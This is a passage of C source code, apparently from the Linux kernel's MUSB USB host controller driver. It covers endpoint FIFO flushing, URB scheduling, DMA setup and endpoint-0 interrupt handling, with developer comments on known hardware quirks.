uses both sides of hardware ep1, freeing up an * extra endpoint for periodic use enabling hub + keybd + mouse. That * mostly works, except that with "usbnet" it's easy to trigger cases * with "ping" where RX loses. (a) ping to davinci, even "ping -f", * fine; but (b) ping _from_ davinci, even "ping -c 1", ICMP RX loses * although ARP RX wins. (That test was done with a full speed link.) */ /* * NOTE on endpoint usage: * * CONTROL transfers all go through ep0. BULK ones go through dedicated IN * and OUT endpoints ... hardware is dedicated for those "async" queue(s). * (Yes, bulk _could_ use more of the endpoints than that, and would even * benefit from it.) * * INTERUPPT and ISOCHRONOUS transfers are scheduled to the other endpoints. * So far that scheduling is both dumb and optimistic: the endpoint will be * "claimed" until its software queue is no longer refilled. No multiplexing * of transfers between endpoints, or anything clever. */ struct musb *hcd_to_musb(struct usb_hcd *hcd) { return *(struct musb **) hcd->hcd_priv; } static void musb_ep_program(struct musb *musb, u8 epnum, struct urb *urb, int is_out, u8 *buf, u32 offset, u32 len); /* * Clear TX fifo. Needed to avoid BABBLE errors. */ static void musb_h_tx_flush_fifo(struct musb_hw_ep *ep) { struct musb *musb = ep->musb; void __iomem *epio = ep->regs; u16 csr; int retries = 1000; csr = musb_readw(epio, MUSB_TXCSR); while (csr & MUSB_TXCSR_FIFONOTEMPTY) { csr |= MUSB_TXCSR_FLUSHFIFO | MUSB_TXCSR_TXPKTRDY; musb_writew(epio, MUSB_TXCSR, csr); csr = musb_readw(epio, MUSB_TXCSR); /* * FIXME: sometimes the tx fifo flush failed, it has been * observed during device disconnect on AM335x. * * To reproduce the issue, ensure tx urb(s) are queued when * unplug the usb device which is connected to AM335x usb * host port. * * I found using a usb-ethernet device and running iperf * (client on AM335x) has very high chance to trigger it. * * Better to turn on musb_dbg() in musb_cleanup_urb() with * CPPI enabled to see the issue when aborting the tx channel. */ if (dev_WARN_ONCE(musb->controller, retries-- < 1, "Could not flush host TX%d fifo: csr: %04x\n", ep->epnum, csr)) return; mdelay(1); } } static void musb_h_ep0_flush_fifo(struct musb_hw_ep *ep) { void __iomem *epio = ep->regs; u16 csr; int retries = 5; /* scrub any data left in the fifo */ do { csr = musb_readw(epio, MUSB_TXCSR); if (!(csr & (MUSB_CSR0_TXPKTRDY | MUSB_CSR0_RXPKTRDY))) break; musb_writew(epio, MUSB_TXCSR, MUSB_CSR0_FLUSHFIFO); csr = musb_readw(epio, MUSB_TXCSR); udelay(10); } while (--retries); WARN(!retries, "Could not flush host TX%d fifo: csr: %04x\n", ep->epnum, csr); /* and reset for the next transfer */ musb_writew(epio, MUSB_TXCSR, 0); } /* * Start transmit. Caller is responsible for locking shared resources. * musb must be locked. */ static inline void musb_h_tx_start(struct musb_hw_ep *ep) { u16 txcsr; /* NOTE: no locks here; caller should lock and select EP */ if (ep->epnum) { txcsr = musb_readw(ep->regs, MUSB_TXCSR); txcsr |= MUSB_TXCSR_TXPKTRDY | MUSB_TXCSR_H_WZC_BITS; musb_writew(ep->regs, MUSB_TXCSR, txcsr); } else { txcsr = MUSB_CSR0_H_SETUPPKT | MUSB_CSR0_TXPKTRDY; musb_writew(ep->regs, MUSB_CSR0, txcsr); } } static inline void musb_h_tx_dma_start(struct musb_hw_ep *ep) { u16 txcsr; /* NOTE: no locks here; caller should lock and select EP */ txcsr = musb_readw(ep->regs, MUSB_TXCSR); txcsr |= MUSB_TXCSR_DMAENAB | MUSB_TXCSR_H_WZC_BITS; if (is_cppi_enabled(ep->musb)) txcsr |= MUSB_TXCSR_DMAMODE; musb_writew(ep->regs, MUSB_TXCSR, txcsr); } static void musb_ep_set_qh(struct musb_hw_ep *ep, int is_in, struct musb_qh *qh) { if (is_in != 0 || ep->is_shared_fifo) ep->in_qh = qh; if (is_in == 0 || ep->is_shared_fifo) ep->out_qh = qh; } static struct musb_qh *musb_ep_get_qh(struct musb_hw_ep *ep, int is_in) { return is_in ? ep->in_qh : ep->out_qh; } /* * Start the URB at the front of an endpoint's queue * end must be claimed from the caller. * * Context: controller locked, irqs blocked */ static void musb_start_urb(struct musb *musb, int is_in, struct musb_qh *qh) { u32 len; void __iomem *mbase = musb->mregs; struct urb *urb = next_urb(qh); void *buf = urb->transfer_buffer; u32 offset = 0; struct musb_hw_ep *hw_ep = qh->hw_ep; int epnum = hw_ep->epnum; /* initialize software qh state */ qh->offset = 0; qh->segsize = 0; /* gather right source of data */ switch (qh->type) { case USB_ENDPOINT_XFER_CONTROL: /* control transfers always start with SETUP */ is_in = 0; musb->ep0_stage = MUSB_EP0_START; buf = urb->setup_packet; len = 8; break; case USB_ENDPOINT_XFER_ISOC: qh->iso_idx = 0; qh->frame = 0; offset = urb->iso_frame_desc[0].offset; len = urb->iso_frame_desc[0].length; break; default: /* bulk, interrupt */ /* actual_length may be nonzero on retry paths */ buf = urb->transfer_buffer + urb->actual_length; len = urb->transfer_buffer_length - urb->actual_length; } trace_musb_urb_start(musb, urb); /* Configure endpoint */ musb_ep_set_qh(hw_ep, is_in, qh); musb_ep_program(musb, epnum, urb, !is_in, buf, offset, len); /* transmit may have more work: start it when it is time */ if (is_in) return; /* determine if the time is right for a periodic transfer */ switch (qh->type) { case USB_ENDPOINT_XFER_ISOC: case USB_ENDPOINT_XFER_INT: musb_dbg(musb, "check whether there's still time for periodic Tx"); /* FIXME this doesn't implement that scheduling policy ... * or handle framecounter wrapping */ if (1) { /* Always assume URB_ISO_ASAP */ /* REVISIT the SOF irq handler shouldn't duplicate * this code; and we don't init urb->start_frame... */ qh->frame = 0; goto start; } else { qh->frame = urb->start_frame; /* enable SOF interrupt so we can count down */ musb_dbg(musb, "SOF for %d", epnum); #if 1 /* ifndef CONFIG_ARCH_DAVINCI */ musb_writeb(mbase, MUSB_INTRUSBE, 0xff); #endif } break; default: start: musb_dbg(musb, "Start TX%d %s", epnum, hw_ep->tx_channel ? "dma" : "pio"); if (!hw_ep->tx_channel) musb_h_tx_start(hw_ep); else if (is_cppi_enabled(musb) || tusb_dma_omap(musb)) musb_h_tx_dma_start(hw_ep); } } /* Context: caller owns controller lock, IRQs are blocked */ static void musb_giveback(struct musb *musb, struct urb *urb, int status) __releases(musb->lock) __acquires(musb->lock) { trace_musb_urb_gb(musb, urb); usb_hcd_unlink_urb_from_ep(musb->hcd, urb); spin_unlock(&musb->lock); usb_hcd_giveback_urb(musb->hcd, urb, status); spin_lock(&musb->lock); } /* For bulk/interrupt endpoints only */ static inline void musb_save_toggle(struct musb_qh *qh, int is_in, struct urb *urb) { void __iomem *epio = qh->hw_ep->regs; u16 csr; /* * FIXME: the current Mentor DMA code seems to have * problems getting toggle correct. */ if (is_in) csr = musb_readw(epio, MUSB_RXCSR) & MUSB_RXCSR_H_DATATOGGLE; else csr = musb_readw(epio, MUSB_TXCSR) & MUSB_TXCSR_H_DATATOGGLE; usb_settoggle(urb->dev, qh->epnum, !is_in, csr ? 1 : 0); } /* * Advance this hardware endpoint's queue, completing the specified URB and * advancing to either the next URB queued to that qh, or else invalidating * that qh and advancing to the next qh scheduled after the current one. * * Context: caller owns controller lock, IRQs are blocked */ static void musb_advance_schedule(struct musb *musb, struct urb *urb, struct musb_hw_ep *hw_ep, int is_in) { struct musb_qh *qh = musb_ep_get_qh(hw_ep, is_in); struct musb_hw_ep *ep = qh->hw_ep; int ready = qh->is_ready; int status; status = (urb->status == -EINPROGRESS) ? 0 : urb->status; /* save toggle eagerly, for paranoia */ switch (qh->type) { case USB_ENDPOINT_XFER_BULK: case USB_ENDPOINT_XFER_INT: musb_save_toggle(qh, is_in, urb); break; case USB_ENDPOINT_XFER_ISOC: if (status == 0 && urb->error_count) status = -EXDEV; break; } qh->is_ready = 0; musb_giveback(musb, urb, status); qh->is_ready = ready; /* reclaim resources (and bandwidth) ASAP; deschedule it, and * invalidate qh as soon as list_empty(&hep->urb_list) */ if (list_empty(&qh->hep->urb_list)) { struct list_head *head; struct dma_controller *dma = musb->dma_controller; if (is_in) { ep->rx_reinit = 1; if (ep->rx_channel) { dma->channel_release(ep->rx_channel); ep->rx_channel = NULL; } } else { ep->tx_reinit = 1; if (ep->tx_channel) { dma->channel_release(ep->tx_channel); ep->tx_channel = NULL; } } /* Clobber old pointers to this qh */ musb_ep_set_qh(ep, is_in, NULL); qh->hep->hcpriv = NULL; switch (qh->type) { case USB_ENDPOINT_XFER_CONTROL: case USB_ENDPOINT_XFER_BULK: /* fifo policy for these lists, except that NAKing * should rotate a qh to the end (for fairness). */ if (qh->mux == 1) { head = qh->ring.prev; list_del(&qh->ring); kfree(qh); qh = first_qh(head); break; } /* fall through */ case USB_ENDPOINT_XFER_ISOC: case USB_ENDPOINT_XFER_INT: /* this is where periodic bandwidth should be * de-allocated if it's tracked and allocated; * and where we'd update the schedule tree... */ kfree(qh); qh = NULL; break; } } if (qh != NULL && qh->is_ready) { musb_dbg(musb, "... next ep%d %cX urb %p", hw_ep->epnum, is_in ? 'R' : 'T', next_urb(qh)); musb_start_urb(musb, is_in, qh); } } static u16 musb_h_flush_rxfifo(struct musb_hw_ep *hw_ep, u16 csr) { /* we don't want fifo to fill itself again; * ignore dma (various models), * leave toggle alone (may not have been saved yet) */ csr |= MUSB_RXCSR_FLUSHFIFO | MUSB_RXCSR_RXPKTRDY; csr &= ~(MUSB_RXCSR_H_REQPKT | MUSB_RXCSR_H_AUTOREQ | MUSB_RXCSR_AUTOCLEAR); /* write 2x to allow double buffering */ musb_writew(hw_ep->regs, MUSB_RXCSR, csr); musb_writew(hw_ep->regs, MUSB_RXCSR, csr); /* flush writebuffer */ return musb_readw(hw_ep->regs, MUSB_RXCSR); } /* * PIO RX for a packet (or part of it). */ static bool musb_host_packet_rx(struct musb *musb, struct urb *urb, u8 epnum, u8 iso_err) { u16 rx_count; u8 *buf; u16 csr; bool done = false; u32 length; int do_flush = 0; struct musb_hw_ep *hw_ep = musb->endpoints + epnum; void __iomem *epio = hw_ep->regs; struct musb_qh *qh = hw_ep->in_qh; int pipe = urb->pipe; void *buffer = urb->transfer_buffer; /* musb_ep_select(mbase, epnum); */ rx_count = musb_readw(epio, MUSB_RXCOUNT); musb_dbg(musb, "RX%d count %d, buffer %p len %d/%d", epnum, rx_count, urb->transfer_buffer, qh->offset, urb->transfer_buffer_length); /* unload FIFO */ if (usb_pipeisoc(pipe)) { int status = 0; struct usb_iso_packet_descriptor *d; if (iso_err) { status = -EILSEQ; urb->error_count++; } d = urb->iso_frame_desc + qh->iso_idx; buf = buffer + d->offset; length = d->length; if (rx_count > length) { if (status == 0) { status = -EOVERFLOW; urb->error_count++; } musb_dbg(musb, "OVERFLOW %d into %d", rx_count, length); do_flush = 1; } else length = rx_count; urb->actual_length += length; d->actual_length = length; d->status = status; /* see if we are done */ done = (++qh->iso_idx >= urb->number_of_packets); } else { /* non-isoch */ buf = buffer + qh->offset; length = urb->transfer_buffer_length - qh->offset; if (rx_count > length) { if (urb->status == -EINPROGRESS) urb->status = -EOVERFLOW; musb_dbg(musb, "OVERFLOW %d into %d", rx_count, length); do_flush = 1; } else length = rx_count; urb->actual_length += length; qh->offset += length; /* see if we are done */ done = (urb->actual_length == urb->transfer_buffer_length) || (rx_count < qh->maxpacket) || (urb->status != -EINPROGRESS); if (done && (urb->status == -EINPROGRESS) && (urb->transfer_flags & URB_SHORT_NOT_OK) && (urb->actual_length < urb->transfer_buffer_length)) urb->status = -EREMOTEIO; } musb_read_fifo(hw_ep, length, buf); csr = musb_readw(epio, MUSB_RXCSR); csr |= MUSB_RXCSR_H_WZC_BITS; if (unlikely(do_flush)) musb_h_flush_rxfifo(hw_ep, csr); else { /* REVISIT this assumes AUTOCLEAR is never set */ csr &= ~(MUSB_RXCSR_RXPKTRDY | MUSB_RXCSR_H_REQPKT); if (!done) csr |= MUSB_RXCSR_H_REQPKT; musb_writew(epio, MUSB_RXCSR, csr); } return done; } /* we don't always need to reinit a given side of an endpoint... * when we do, use tx/rx reinit routine and then construct a new CSR * to address data toggle, NYET, and DMA or PIO. * * it's possible that driver bugs (especially for DMA) or aborting a * transfer might have left the endpoint busier than it should be. * the busy/not-empty tests are basically paranoia. */ static void musb_rx_reinit(struct musb *musb, struct musb_qh *qh, u8 epnum) { struct musb_hw_ep *ep = musb->endpoints + epnum; u16 csr; /* NOTE: we know the "rx" fifo reinit never triggers for ep0. * That always uses tx_reinit since ep0 repurposes TX register * offsets; the initial SETUP packet is also a kind of OUT. */ /* if programmed for Tx, put it in RX mode */ if (ep->is_shared_fifo) { csr = musb_readw(ep->regs, MUSB_TXCSR); if (csr & MUSB_TXCSR_MODE) { musb_h_tx_flush_fifo(ep); csr = musb_readw(ep->regs, MUSB_TXCSR); musb_writew(ep->regs, MUSB_TXCSR, csr | MUSB_TXCSR_FRCDATATOG); } /* * Clear the MODE bit (and everything else) to enable Rx. * NOTE: we mustn't clear the DMAMODE bit before DMAENAB. */ if (csr & MUSB_TXCSR_DMAMODE) musb_writew(ep->regs, MUSB_TXCSR, MUSB_TXCSR_DMAMODE); musb_writew(ep->regs, MUSB_TXCSR, 0); /* scrub all previous state, clearing toggle */ } csr = musb_readw(ep->regs, MUSB_RXCSR); if (csr & MUSB_RXCSR_RXPKTRDY) WARNING("rx%d, packet/%d ready?\n", ep->epnum, musb_readw(ep->regs, MUSB_RXCOUNT)); musb_h_flush_rxfifo(ep, MUSB_RXCSR_CLRDATATOG); /* target addr and (for multipoint) hub addr/port */ if (musb->is_multipoint) { musb_write_rxfunaddr(musb, epnum, qh->addr_reg); musb_write_rxhubaddr(musb, epnum, qh->h_addr_reg); musb_write_rxhubport(musb, epnum, qh->h_port_reg); } else musb_writeb(musb->mregs, MUSB_FADDR, qh->addr_reg); /* protocol/endpoint, interval/NAKlimit, i/o size */ musb_writeb(ep->regs, MUSB_RXTYPE, qh->type_reg); musb_writeb(ep->regs, MUSB_RXINTERVAL, qh->intv_reg); /* NOTE: bulk combining rewrites high bits of maxpacket */ /* Set RXMAXP with the FIFO size of the endpoint * to disable double buffer mode. */ musb_writew(ep->regs, MUSB_RXMAXP, qh->maxpacket | ((qh->hb_mult - 1) << 11)); ep->rx_reinit = 0; } static void musb_tx_dma_set_mode_mentor(struct dma_controller *dma, struct musb_hw_ep *hw_ep, struct musb_qh *qh, struct urb *urb, u32 offset, u32 *length, u8 *mode) { struct dma_channel *channel = hw_ep->tx_channel; void __iomem *epio = hw_ep->regs; u16 pkt_size = qh->maxpacket; u16 csr; if (*length > channel->max_len) *length = channel->max_len; csr = musb_readw(epio, MUSB_TXCSR); if (*length > pkt_size) { *mode = 1; csr |= MUSB_TXCSR_DMAMODE | MUSB_TXCSR_DMAENAB; /* autoset shouldn't be set in high bandwidth */ /* * Enable Autoset according to table * below * bulk_split hb_mult Autoset_Enable * 0 1 Yes(Normal) * 0 >1 No(High BW ISO) * 1 1 Yes(HS bulk) * 1 >1 Yes(FS bulk) */ if (qh->hb_mult == 1 || (qh->hb_mult > 1 && can_bulk_split(hw_ep->musb, qh->type))) csr |= MUSB_TXCSR_AUTOSET; } else { *mode = 0; csr &= ~(MUSB_TXCSR_AUTOSET | MUSB_TXCSR_DMAMODE); csr |= MUSB_TXCSR_DMAENAB; /* against programmer's guide */ } channel->desired_mode = *mode; musb_writew(epio, MUSB_TXCSR, csr); } static void musb_tx_dma_set_mode_cppi_tusb(struct dma_controller *dma, struct musb_hw_ep *hw_ep, struct musb_qh *qh, struct urb *urb, u32 offset, u32 *length, u8 *mode) { struct dma_channel *channel = hw_ep->tx_channel; channel->actual_len = 0; /* * TX uses "RNDIS" mode automatically but needs help * to identify the zero-length-final-packet case. */ *mode = (urb->transfer_flags & URB_ZERO_PACKET) ? 1 : 0; } static bool musb_tx_dma_program(struct dma_controller *dma, struct musb_hw_ep *hw_ep, struct musb_qh *qh, struct urb *urb, u32 offset, u32 length) { struct dma_channel *channel = hw_ep->tx_channel; u16 pkt_size = qh->maxpacket; u8 mode; if (musb_dma_inventra(hw_ep->musb) || musb_dma_ux500(hw_ep->musb)) musb_tx_dma_set_mode_mentor(dma, hw_ep, qh, urb, offset, &length, &mode); else if (is_cppi_enabled(hw_ep->musb) || tusb_dma_omap(hw_ep->musb)) musb_tx_dma_set_mode_cppi_tusb(dma, hw_ep, qh, urb, offset, &length, &mode); else return false; qh->segsize = length; /* * Ensure the data reaches to main memory before starting * DMA transfer */ wmb(); if (!dma->channel_program(channel, pkt_size, mode, urb->transfer_dma + offset, length)) { void __iomem *epio = hw_ep->regs; u16 csr; dma->channel_release(channel); hw_ep->tx_channel = NULL; csr = musb_readw(epio, MUSB_TXCSR); csr &= ~(MUSB_TXCSR_AUTOSET | MUSB_TXCSR_DMAENAB); musb_writew(epio, MUSB_TXCSR, csr | MUSB_TXCSR_H_WZC_BITS); return false; } return true; } /* * Program an HDRC endpoint as per the given URB * Context: irqs blocked, controller lock held */ static void musb_ep_program(struct musb *musb, u8 epnum, struct urb *urb, int is_out, u8 *buf, u32 offset, u32 len) { struct dma_controller *dma_controller; struct dma_channel *dma_channel; u8 dma_ok; void __iomem *mbase = musb->mregs; struct musb_hw_ep *hw_ep = musb->endpoints + epnum; void __iomem *epio = hw_ep->regs; struct musb_qh *qh = musb_ep_get_qh(hw_ep, !is_out); u16 packet_sz = qh->maxpacket; u8 use_dma = 1; u16 csr; musb_dbg(musb, "%s hw%d urb %p spd%d dev%d ep%d%s " "h_addr%02x h_port%02x bytes %d", is_out ? "-->" : "<--", epnum, urb, urb->dev->speed, qh->addr_reg, qh->epnum, is_out ? "out" : "in", qh->h_addr_reg, qh->h_port_reg, len); musb_ep_select(mbase, epnum); if (is_out && !len) { use_dma = 0; csr = musb_readw(epio, MUSB_TXCSR); csr &= ~MUSB_TXCSR_DMAENAB; musb_writew(epio, MUSB_TXCSR, csr); hw_ep->tx_channel = NULL; } /* candidate for DMA? */ dma_controller = musb->dma_controller; if (use_dma && is_dma_capable() && epnum && dma_controller) { dma_channel = is_out ? hw_ep->tx_channel : hw_ep->rx_channel; if (!dma_channel) { dma_channel = dma_controller->channel_alloc( dma_controller, hw_ep, is_out); if (is_out) hw_ep->tx_channel = dma_channel; else hw_ep->rx_channel = dma_channel; } } else dma_channel = NULL; /* make sure we clear DMAEnab, autoSet bits from previous run */ /* OUT/transmit/EP0 or IN/receive? */ if (is_out) { u16 csr; u16 int_txe; u16 load_count; csr = musb_readw(epio, MUSB_TXCSR); /* disable interrupt in case we flush */ int_txe = musb->intrtxe; musb_writew(mbase, MUSB_INTRTXE, int_txe & ~(1 << epnum)); /* general endpoint setup */ if (epnum) { /* flush all old state, set default */ /* * We could be flushing valid * packets in double buffering * case */ if (!hw_ep->tx_double_buffered) musb_h_tx_flush_fifo(hw_ep); /* * We must not clear the DMAMODE bit before or in * the same cycle with the DMAENAB bit, so we clear * the latter first... */ csr &= ~(MUSB_TXCSR_H_NAKTIMEOUT | MUSB_TXCSR_AUTOSET | MUSB_TXCSR_DMAENAB | MUSB_TXCSR_FRCDATATOG | MUSB_TXCSR_H_RXSTALL | MUSB_TXCSR_H_ERROR | MUSB_TXCSR_TXPKTRDY ); csr |= MUSB_TXCSR_MODE; if (!hw_ep->tx_double_buffered) { if (usb_gettoggle(urb->dev, qh->epnum, 1)) csr |= MUSB_TXCSR_H_WR_DATATOGGLE | MUSB_TXCSR_H_DATATOGGLE; else csr |= MUSB_TXCSR_CLRDATATOG; } musb_writew(epio, MUSB_TXCSR, csr); /* REVISIT may need to clear FLUSHFIFO ... */ csr &= ~MUSB_TXCSR_DMAMODE; musb_writew(epio, MUSB_TXCSR, csr); csr = musb_readw(epio, MUSB_TXCSR); } else { /* endpoint 0: just flush */ musb_h_ep0_flush_fifo(hw_ep); } /* target addr and (for multipoint) hub addr/port */ if (musb->is_multipoint) { musb_write_txfunaddr(musb, epnum, qh->addr_reg); musb_write_txhubaddr(musb, epnum, qh->h_addr_reg); musb_write_txhubport(musb, epnum, qh->h_port_reg); /* FIXME if !epnum, do the same for RX ... */ } else musb_writeb(mbase, MUSB_FADDR, qh->addr_reg); /* protocol/endpoint/interval/NAKlimit */ if (epnum) { musb_writeb(epio, MUSB_TXTYPE, qh->type_reg); if (can_bulk_split(musb, qh->type)) { qh->hb_mult = hw_ep->max_packet_sz_tx / packet_sz; musb_writew(epio, MUSB_TXMAXP, packet_sz | ((qh->hb_mult) - 1) << 11); } else { musb_writew(epio, MUSB_TXMAXP, qh->maxpacket | ((qh->hb_mult - 1) << 11)); } musb_writeb(epio, MUSB_TXINTERVAL, qh->intv_reg); } else { musb_writeb(epio, MUSB_NAKLIMIT0, qh->intv_reg); if (musb->is_multipoint) musb_writeb(epio, MUSB_TYPE0, qh->type_reg); } if (can_bulk_split(musb, qh->type)) load_count = min((u32) hw_ep->max_packet_sz_tx, len); else load_count = min((u32) packet_sz, len); if (dma_channel && musb_tx_dma_program(dma_controller, hw_ep, qh, urb, offset, len)) load_count = 0; if (load_count) { /* PIO to load FIFO */ qh->segsize = load_count; if (!buf) { sg_miter_start(&qh->sg_miter, urb->sg, 1, SG_MITER_ATOMIC | SG_MITER_FROM_SG); if (!sg_miter_next(&qh->sg_miter)) { dev_err(musb->controller, "error: sg" "list empty\n"); sg_miter_stop(&qh->sg_miter); goto finish; } buf = qh->sg_miter.addr + urb->sg->offset + urb->actual_length; load_count = min_t(u32, load_count, qh->sg_miter.length); musb_write_fifo(hw_ep, load_count, buf); qh->sg_miter.consumed = load_count; sg_miter_stop(&qh->sg_miter); } else musb_write_fifo(hw_ep, load_count, buf); } finish: /* re-enable interrupt */ musb_writew(mbase, MUSB_INTRTXE, int_txe); /* IN/receive */ } else { u16 csr; if (hw_ep->rx_reinit) { musb_rx_reinit(musb, qh, epnum); /* init new state: toggle and NYET, maybe DMA later */ if (usb_gettoggle(urb->dev, qh->epnum, 0)) csr = MUSB_RXCSR_H_WR_DATATOGGLE | MUSB_RXCSR_H_DATATOGGLE; else csr = 0; if (qh->type == USB_ENDPOINT_XFER_INT) csr |= MUSB_RXCSR_DISNYET; } else { csr = musb_readw(hw_ep->regs, MUSB_RXCSR); if (csr & (MUSB_RXCSR_RXPKTRDY | MUSB_RXCSR_DMAENAB | MUSB_RXCSR_H_REQPKT)) ERR("broken !rx_reinit, ep%d csr %04x\n", hw_ep->epnum, csr); /* scrub any stale state, leaving toggle alone */ csr &= MUSB_RXCSR_DISNYET; } /* kick things off */ if ((is_cppi_enabled(musb) || tusb_dma_omap(musb)) && dma_channel) { /* Candidate for DMA */ dma_channel->actual_len = 0L; qh->segsize = len; /* AUTOREQ is in a DMA register */ musb_writew(hw_ep->regs, MUSB_RXCSR, csr); csr = musb_readw(hw_ep->regs, MUSB_RXCSR); /* * Unless caller treats short RX transfers as * errors, we dare not queue multiple transfers. */ dma_ok = dma_controller->channel_program(dma_channel, packet_sz, !(urb->transfer_flags & URB_SHORT_NOT_OK), urb->transfer_dma + offset, qh->segsize); if (!dma_ok) { dma_controller->channel_release(dma_channel); hw_ep->rx_channel = dma_channel = NULL; } else csr |= MUSB_RXCSR_DMAENAB; } csr |= MUSB_RXCSR_H_REQPKT; musb_dbg(musb, "RXCSR%d := %04x", epnum, csr); musb_writew(hw_ep->regs, MUSB_RXCSR, csr); csr = musb_readw(hw_ep->regs, MUSB_RXCSR); } } /* Schedule next QH from musb->in_bulk/out_bulk and move the current qh to * the end; avoids starvation for other endpoints. */ static void musb_bulk_nak_timeout(struct musb *musb, struct musb_hw_ep *ep, int is_in) { struct dma_channel *dma; struct urb *urb; void __iomem *mbase = musb->mregs; void __iomem *epio = ep->regs; struct musb_qh *cur_qh, *next_qh; u16 rx_csr, tx_csr; musb_ep_select(mbase, ep->epnum); if (is_in) { dma = is_dma_capable() ? ep->rx_channel : NULL; /* * Need to stop the transaction by clearing REQPKT first * then the NAK Timeout bit ref MUSBMHDRC USB 2.0 HIGH-SPEED * DUAL-ROLE CONTROLLER Programmer's Guide, section 9.2.2 */ rx_csr = musb_readw(epio, MUSB_RXCSR); rx_csr |= MUSB_RXCSR_H_WZC_BITS; rx_csr &= ~MUSB_RXCSR_H_REQPKT; musb_writew(epio, MUSB_RXCSR, rx_csr); rx_csr &= ~MUSB_RXCSR_DATAERROR; musb_writew(epio, MUSB_RXCSR, rx_csr); cur_qh = first_qh(&musb->in_bulk); } else { dma = is_dma_capable() ? ep->tx_channel : NULL; /* clear nak timeout bit */ tx_csr = musb_readw(epio, MUSB_TXCSR); tx_csr |= MUSB_TXCSR_H_WZC_BITS; tx_csr &= ~MUSB_TXCSR_H_NAKTIMEOUT; musb_writew(epio, MUSB_TXCSR, tx_csr); cur_qh = first_qh(&musb->out_bulk); } if (cur_qh) { urb = next_urb(cur_qh); if (dma_channel_status(dma) == MUSB_DMA_STATUS_BUSY) { dma->status = MUSB_DMA_STATUS_CORE_ABORT; musb->dma_controller->channel_abort(dma); urb->actual_length += dma->actual_len; dma->actual_len = 0L; } musb_save_toggle(cur_qh, is_in, urb); if (is_in) { /* move cur_qh to end of queue */ list_move_tail(&cur_qh->ring, &musb->in_bulk); /* get the next qh from musb->in_bulk */ next_qh = first_qh(&musb->in_bulk); /* set rx_reinit and schedule the next qh */ ep->rx_reinit = 1; } else { /* move cur_qh to end of queue */ list_move_tail(&cur_qh->ring, &musb->out_bulk); /* get the next qh from musb->out_bulk */ next_qh = first_qh(&musb->out_bulk); /* set tx_reinit and schedule the next qh */ ep->tx_reinit = 1; } if (next_qh) musb_start_urb(musb, is_in, next_qh); } } /* * Service the default endpoint (ep0) as host. * Return true until it's time to start the status stage. */ static bool musb_h_ep0_continue(struct musb *musb, u16 len, struct urb *urb) { bool more = false; u8 *fifo_dest = NULL; u16 fifo_count = 0; struct musb_hw_ep *hw_ep = musb->control_ep; struct musb_qh *qh = hw_ep->in_qh; struct usb_ctrlrequest *request; switch (musb->ep0_stage) { case MUSB_EP0_IN: fifo_dest = urb->transfer_buffer + urb->actual_length; fifo_count = min_t(size_t, len, urb->transfer_buffer_length - urb->actual_length); if (fifo_count < len) urb->status = -EOVERFLOW; musb_read_fifo(hw_ep, fifo_count, fifo_dest); urb->actual_length += fifo_count; if (len < qh->maxpacket) { /* always terminate on short read; it's * rarely reported as an error. */ } else if (urb->actual_length < urb->transfer_buffer_length) more = true; break; case MUSB_EP0_START: request = (struct usb_ctrlrequest *) urb->setup_packet; if (!request->wLength) { musb_dbg(musb, "start no-DATA"); break; } else if (request->bRequestType & USB_DIR_IN) { musb_dbg(musb, "start IN-DATA"); musb->ep0_stage = MUSB_EP0_IN; more = true; break; } else { musb_dbg(musb, "start OUT-DATA"); musb->ep0_stage = MUSB_EP0_OUT; more = true; } /* FALLTHROUGH */ case MUSB_EP0_OUT: fifo_count = min_t(size_t, qh->maxpacket, urb->transfer_buffer_length - urb->actual_length); if (fifo_count) { fifo_dest = (u8 *) (urb->transfer_buffer + urb->actual_length); musb_dbg(musb, "Sending %d byte%s to ep0 fifo %p", fifo_count, (fifo_count == 1) ? "" : "s", fifo_dest); musb_write_fifo(hw_ep, fifo_count, fifo_dest); urb->actual_length += fifo_count; more = true; } break; default: ERR("bogus ep0 stage %d\n", musb->ep0_stage); break; } return more; } /* * Handle default endpoint interrupt as host. Only called in IRQ time * from musb_interrupt(). * * called with controller irqlocked */ irqreturn_t musb_h_ep0_irq(struct musb *musb) { struct urb *urb; u16 csr, len; int status = 0; void __iomem *mbase = musb->mregs; struct musb_hw_ep *hw_ep = musb->control_ep; void __iomem *epio = hw_ep->regs; struct musb_qh *qh = hw_ep->in_qh; bool complete = false; irqreturn_t retval = IRQ_NONE; /* ep0 only has one queue, "in" */ urb = next_urb(qh); musb_ep_select(mbase, 0); csr = musb_readw(epio, MUSB_CSR0); len = (csr & MUSB_CSR0_RXPKTRDY) ? musb_readb(epio, MUSB_COUNT0) : 0; musb_dbg(musb, "<== csr0 %04x, qh %p, count %d, urb %p, stage %d", csr, qh, len, urb, musb->ep0_stage); /* if we just did status stage, we are done */ if (MUSB_EP0_STATUS == musb->ep0_stage) { retval = IRQ_HANDLED; complete = true; } /* prepare status */ if (csr & MUSB_CSR0_H_RXSTALL) { musb_dbg(musb, "STALLING ENDPOINT"); status = -EPIPE; } else if (csr & MUSB_CSR0_H_ERROR) { musb_dbg(musb, "no response, csr0 %04x", csr); status = -EPROTO; } else if (csr & MUSB_CSR0_H_NAKTIMEOUT) { musb_dbg(musb, "control NAK timeout"); /* NOTE: this code path would be a good place to PAUSE a * control transfer, if another one is queued, so that * ep0 is more likely to stay busy. That's already done * for bulk RX transfers. * * if (qh->ring.next != &musb->control), then * we have a candidate... NAKing is *NOT* an error */ musb_writew(epio, MUSB_CSR0, 0); retval = IRQ_HANDLED; } if (status) { musb_dbg(musb, "aborting"); retval = IRQ_HANDLED; if (urb) urb->status = status; complete = true; /* use the proper sequence to abort the transfer */ if (csr & MUSB_CSR0_H_REQPKT) { csr &= ~MUSB_CSR0_H_REQPKT; musb_writew(epio, MUSB_CSR0, csr); csr &= ~MUSB_CSR0_H_NAKTIMEOUT; musb_writew(epio, MUSB_CSR0, csr); } else { musb_h_ep0_flush_fifo(hw_ep); } musb_writeb(epio, MUSB_NAKLIMIT0, 0); /* clear it */ musb_writew(epio, MUSB_CSR0, 0); } if (unlikely(!urb)) { /* stop endpoint since we have no place for its data, this * SHOULD NEVER HAPPEN! */ ERR("no URB for end 0\n"); musb_h_ep0_flush_fifo(hw_ep); goto done; } if (!complete) { /* call common logic and prepare response */ if (musb_h_ep0_continue(musb, len, urb)) { /* more packets required */ csr = (MUSB_EP0_IN == musb->ep0_stage) ? MUSB_CSR0_H_REQPKT : MUSB_CSR0_TXPKTRDY; } else { /* data transfer complete; perform status phase */ if (usb_pipeout(urb->pipe) || !urb->transfer_buffer_length) csr = MUSB_CSR0_H_STATUSPKT | MUSB_CSR0_H_REQPKT; else csr = MUSB_CSR0_H_STATUSPKT | 